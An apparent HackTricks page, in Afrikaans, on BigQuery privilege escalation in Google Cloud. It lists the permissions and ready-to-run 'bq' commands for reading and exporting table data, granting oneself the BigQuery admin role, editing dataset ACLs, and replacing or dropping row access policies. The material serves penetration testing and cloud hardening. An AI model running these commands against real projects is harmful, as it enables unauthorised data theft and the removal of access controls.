# GCP - BigQuery Privesc

{{#include ../../../banners/hacktricks-training.md}}

## BigQuery

Vir meer inligting oor BigQuery, sien:

{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}

### Lees Tabel

Om die inligting wat binne 'n BigQuery-tabel gestoor is te lees, kan dit moontlik wees om s**ensitiewe inligting** te vind. Om by die inligting uit te kom, is die volgende toestemmings nodig: **`bigquery.tables.get`**, **`bigquery.jobs.create`** en **`bigquery.tables.getData`**:

<details>
<summary>Lees BigQuery tabeldata</summary>
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
</details>

### Eksporteer data

Dit is 'n ander manier om toegang tot die data te kry. **Eksporteer dit na 'n cloud storage bucket** en **laai die lêers af** met die inligting.\
Om hierdie aksie uit te voer is die volgende permissies benodig: **`bigquery.tables.export`**, **`bigquery.jobs.create`** en **`storage.objects.create`**.

<details>
<summary>Eksporteer BigQuery-tabel na Cloud Storage</summary>
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
</details>

### Voeg data in

Dit kan moontlik wees om sekere vertroude data in 'n BigQuery tabel in te voeg om 'n kwesbaarheid elders te misbruik. Dit kan maklik gedoen word met die toestemmings **`bigquery.tables.get`**, **`bigquery.tables.updateData`** en **`bigquery.jobs.create`**:

<details>
<summary>Voeg data in 'n BigQuery-tabel</summary>
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json
```
</details>

### `bigquery.datasets.setIamPolicy`

'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** oor 'n BigQuery dataset te gee:

<details>
<summary>Set IAM policy on BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
</details>

### `bigquery.datasets.update`, (`bigquery.datasets.get`)

Net hierdie toestemming maak dit moontlik om **jou toegang tot 'n BigQuery-dataset by te werk deur die ACLs te wysig** wat aandui wie toegang daartoe het:

<details>
<summary>Update BigQuery dataset ACLs</summary>
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
</details>

### `bigquery.tables.setIamPolicy`

'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** op 'n BigQuery-tabel te gee:

<details>
<summary>Stel IAM-beleid op BigQuery-tabel</summary>
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Volgens die docs is dit met die genoemde toestemmings moontlik om 'n ry-toegangsbeleid te **bywerk.**\
Egter, **wanneer jy die cli `bq` gebruik** benodig jy nog 'n paar toestemmings: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Skep of vervang 'n ry-toegangsbeleid</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
</details>

Dit is moontlik om die filter-ID in die uitvoer van die opgelysing van rytoegangsbeleide te vind. Voorbeeld:

<details>
<summary>Lys rytoegangsbeleide</summary>
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
```
</details>

As jy **`bigquery.rowAccessPolicies.delete`** in plaas van `bigquery.rowAccessPolicies.update` het, kan jy ook net die beleid verwyder:

<details>
<summary>Verwyder row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
</details>

> [!CAUTION]
> Nog 'n potensiële opsie om row access policies te omseil sou wees om bloot die waarde van die beperkte data te verander. As jy slegs kan sien wanneer `term` `Cfba` is, verander net alle rekords van die tabel sodat `term = "Cfba"`. Dit word egter deur bigquery verhoed.

{{#include ../../../banners/hacktricks-training.md}}
